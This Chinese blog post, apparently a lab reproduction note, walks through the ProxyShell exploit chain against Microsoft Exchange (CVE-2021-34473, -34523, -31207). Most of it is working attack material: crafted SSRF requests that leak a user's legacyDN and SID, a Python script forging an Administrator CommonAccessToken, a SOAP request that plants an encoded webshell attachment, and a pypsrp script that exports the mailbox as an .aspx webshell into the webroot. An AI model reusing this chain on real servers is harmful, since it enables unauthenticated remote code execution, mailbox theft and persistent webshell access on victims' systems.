域渗透笔记-Exchange-ProxyShell

发布于 2023-02-17  537 次阅读


漏洞简介

ProxyShell是利用了Exchange服务器对于路径的不准确过滤导致的路径混淆生成的SSRF,进而使攻击者通过访问PowerShell端点。而在PowerShell端点可以利用Remote PowerShell来将邮件信息打包到外部文件,而攻击者可以通过构造恶意邮件内容,利用文件写入写出webshell,从而达成命令执行。

影响版本

Microsoft Exchange Server 2019 Cumulative Update 9
Microsoft Exchange Server 2019 Cumulative Update 8
Microsoft Exchange Server 2016 Cumulative Update 20
Microsoft Exchange Server 2016 Cumulative Update 19
Microsoft Exchange Server 2013 Cumulative Update 23

漏洞复现

proxyshell的利用链由三个cve漏洞组成,分别为:
1.CVE-2021-34473 - ssrf漏洞
2.CVE-2021-34523 - Exchange PowerShell BackEnd提权
3.CVE-2021-31207 - 认证后任意文件写入漏洞
利用ProxyShell,未经身份验证的攻击者可以通过暴露的 443 端口在 Microsoft Exchange Server 上执行任意命令。

1.CVE-2021-34473 SSRF漏洞

原理简单来说,就是正常直接访问exchange的/mapi/nspi会出现认证页面,让你输入账号密码

但是通过恶意构造url
通过
https://192.168.161.189/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com

访问,即可直接访问到页面,并且是以system权限


绕过了身份验证阶段,确定是ssrf漏洞。

1.1 获取legacyDn属性的值

利用exchange的autodiscover服务来查找高权限用户的配置文件,我们需要配置文件中的legacyDn属性,这个属性可以帮助我们得到目标用户的sid,如果能得到目标用户sid,我们就可以拥有目标用户的权限来使用ews的api进行恶操作例如监听其他用户的邮件。
autodiscover使用的时候也是需要身份验证的,但是因为ssrf的存在,绕过了身份验证,可以直接使用autodiscover服务来查看其他用户的配置文件

post /autodiscover/autodiscover.json?@foo.com/autodiscover/autodiscover.xml?&Email=autodiscover/autodiscover.json%3f@foo.com HTTP/1.1
Host: 192.168.161.189
Cookie: PrivateComputer=true; ClientId=593FB01CF3FE4E2F83F05877EF6F85AE; X-OWA-JS-PSD=1; PBack=0
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
Content-Length: 372
content-Type: text/xml

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>administrator@test.com</EMailAddress> 
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
</Autodiscover>


成功获取legacyDn属性的值

1.2 获取对应用户的sid

POST /autodiscover/autodiscover.json?a=test@qq.com/mapi/emsmdb HTTP/1.1
Host:192.168.161.189
Cookie:Email=autodiscover/autodiscover.json?a=test@qq.com
Content-Length: 149
Content-Type:application/mapi-http
X-Requesttype:Connect
X-Clientapplication:Outlook/15.0.4815.1002
X-Requestid:x

/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=0030957bd8614781a4a1ca7187375c87-Admin

这里有个注意点

如果直接发包会报错

需要在hex里面,在最后加入空白字符



加入后变成这样,这时候发包就可以获取到sid了

这时候成功获取到了SID
根据CVE-2018-8581我们可以知道,如果我们知道某个用户的sid,那么我们就可以模拟这个用户使用SOAP通过ews的api进行各种操作,例如监听其他用户的邮件。

2.CVE-2021-34523 Exchange Powershell Backend提权漏洞

Exchange PowerShell Remoting是一个基于WSMan协议的一个服务,他可以执行一些特定的powershell命令,实现的功能有发邮件、读邮件、更新配置文件等,使用的前提是使用者需具有邮箱,可是如果我们利用前面的ssrf漏洞来使用system用户的身份使用此服务的话就会失败,原因是system用户是没有邮箱的。因此我们需要解决一个认证问题,使得我们可以以高权限用户的身份去使用这个服务,进而进行后续操作。
有一个名为RemotePowershellBackendCmdletProxyModule的模块,里面有一个用户可控的输入点,这个输入点输入的数据最终会变成CommonAccessToken的值。可以通过以下条件来构造合法CommonAccessToken

1.用户名
2.用户sid,推荐Administrator,即使域环境禁用了管理员用户administrator,仍然能够认证成功
3.group sid,可随便指定一个例如S-1-1-0
4.最终将得到的值进行base64加密后即可作为payload使用

但是太麻烦了,直接使用脚本来构造

import base64
import struct

def gen_token(uname, sid):
    version = 0
    ttype = 'Windows'
    compressed = 0
    auth_type = 'Kerberos'
    raw_token = b''
    gsid = 'S-1-5-32-544'

    version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
    type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
    compress_data = b'C' + (compressed).to_bytes(1, 'little')
    auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
    login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode()
    user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode()
    group_data = b'G' + struct.pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
    ext_data = b'E' + struct.pack('>I', 0) 

    raw_token += version_data
    raw_token += type_data
    raw_token += compress_data
    raw_token += auth_data
    raw_token += login_data
    raw_token += user_data
    raw_token += group_data
    raw_token += ext_data

    data = base64.b64encode(raw_token).decode()

    return data

uname = 'Administrator@test.com'
sid = 'S-1-5-21-3103767057-400549548-1822187925-500'
print(gen_token(uname, sid))


接着拿token去尝试请求接口

GET /autodiscover/autodiscover.json?a=test@qq.com/powershell/?X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZBZG1pbmlzdHJhdG9yQHRlc3QuY29tVSxTLTEtNS0yMS0zMTAzNzY3MDU3LTQwMDU0OTU0OC0xODIyMTg3OTI1LTUwMEcBAAAABwAAAAxTLTEtNS0zMi01NDRFAAAAAA== HTTP/1.1
Host:192.168.161.189
Cookie:Email=autodiscover/autodiscover.json?a=test@qq.com
X-Requesttype:Connect
X-Clientapplication:Outlook/15.0.4815.1002
X-Requestid:x


返回200,成功构造token,这时候我们相当于已经可以以administrator的权限使用Exchange Powershell Remoting了。

3.CVE-2021-31207 认证后任意文件写入

通过上一步我们已经可以控制exchange powershell remotoing来自行cmdlet命令,其中有一条命令可以将用户的邮箱导出到指定路径,如果我们可以控制被导出的数据的格式与exchange的安装路径,就可以上传aspx的webnshell木马进而实现rce:

将Organization Management组的人赋予Mailbox Import Export权限
New-ManagementRoleAssignment -Role=”Mailbox Import Export“ SecurityGroup=“Organization Management"

将administrator@test.com的邮箱导出到指定路径下并且命名为testshell.aspx
New-MailboxExportRequest -Mailbox administrator@test.com -FilePath  \\127.0.0.1\C$\path\to\testshell.aspx

这里直接用脚本来利用ews接口,使用soap来发送邮件到“drafts”也就是草稿箱这个地方

POST /autodiscover/autodiscover.json?a=test@qq.com/EWS/exchange.asmx/?X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZBZG1pbmlzdHJhdG9yQHRlc3QuY29tVSxTLTEtNS0yMS0zMTAzNzY3MDU3LTQwMDU0OTU0OC0xODIyMTg3OTI1LTUwMEcBAAAABwAAAAxTLTEtNS0zMi01NDRFAAAAAA== HTTP/1.1
Host:192.168.161.189
Cookie:Email=autodiscover/autodiscover.json?a=test@qq.com
Content-Length:1413
Content-Type:text/xml

<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016"/>
<t:SerializedSecurityContext>
<t:UserSid>S-1-5-21-2955859873-908271592-1975121256-500</t:UserSid>
<t:GroupSids>
<t:GroupIdentifier>
  <t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
</t:GroupIdentifier>
</t:GroupSids>
</t:SerializedSecurityContext>
</soap:Header>
<soap:Body>
<m:CreateItem MessageDisposition="SaveOnly">
<m:Items>
<t:Message>
  <t:Subject>aomenshoujiaxianshangduchang</t:Subject>
  <t:Body BodyType="HTML">hello fromdarkness side</t:Body>
  <t:Attachments>
    <t:FileAttachment>
      <t:Name>FileAttachment.txt</t:Name>
      <t:IsInline>false</t:IsInline>
      <t:IsContactPhoto>false</t:IsContactPhoto>
      <t:Content>ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoI5uanf2jmp1mlU041pqRT/FIb32tld9wZUFLfTBjm5qd/aKSDTqQ2MyenapanNjL7aXPfa1hR+glSNDYIPa4L3BtapXdqCyTEhlfvWVIa3aRTZ</t:Content>
    </t:FileAttachment>
  </t:Attachments>
  <t:ToRecipients>
    <t:Mailbox>
      <t:EmailAddress>administrator@test.com</t:EmailAddress>
    </t:Mailbox>
  </t:ToRecipients>
</t:Message>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>

主要改以下几个地方


可以看到发包之后200,这时候我们进邮箱看看
这里可以看到成功收到了

最后就是调用exchange powershell接口,将邮件保存到本地中,这里就涉及到WsMan协议了,用脚本跑即可

from pypsrp.powershell import WSMan, RunspacePool, PowerShell
from pypsrp.wsman import WSMan

def exploit_stage4(target, auth_b64, alias_name, subject, fShell):
    wsman = WSMan(server=target, port=443,
    path='/autodiscover/autodiscover.json?@fucky0u.edu/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%3F@fucky0u.edu', 
    ssl="true", 
    cert_validation=False)

    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:

        ps = PowerShell(pool)
        #ps.add_cmdlet("Get-User")
        ps.add_cmdlet("New-ManagementRoleAssignment")
        ps.add_parameter("Role", "Mailbox Import Export")
        ps.add_parameter("SecurityGroup", "Organization Management")
        output = ps.invoke()

    with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:

        ps = PowerShell(pool)
        ps.add_cmdlet("New-MailboxExportRequest")
        ps.add_parameter("Mailbox", alias_name)
        ps.add_parameter("Name", subject)
        ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject))
        ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)
        output = ps.invoke()

#邮件服务器ip
target="192.168.161.189" 
#获取的token
auth_b64="VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZBZG1pbmlzdHJhdG9yQHRlc3QuY29tVSxTLTEtNS0yMS0zMTAzNzY3MDU3LTQwMDU0OTU0OC0xODIyMTg3OTI1LTUwMEcBAAAABwAAAAxTLTEtNS0zMi01NDRFAAAAAA=="
#要把谁的邮件保存到本地
alias_name="Administrator"
#subject名可从上一步burp中获取
subject="aomenshoujiaxianshangduchang"
#保存的文件名
fShell = "test.aspx"
exploit_stage4(target, auth_b64, alias_name, subject, fShell)

运行后成功生成文件

总结:

1.通过SSRF获得高权限用户administrator的sid。
2.以administrator的身份通过Exchange Powershell Backend提权漏洞和SSRF漏洞来访问Exchange Powershell,赋予当前用户导出邮箱到指定目录的权利。
3.先发送一封恶意的邮件,并利用CVE-2021-31207漏洞结合前面漏洞中我们可使用的Exchange powershell,执行命令将邮件中的webshell还原到webroot目录下进而完成利用。

届ける言葉を今は育ててる
最后更新于 2023-02-17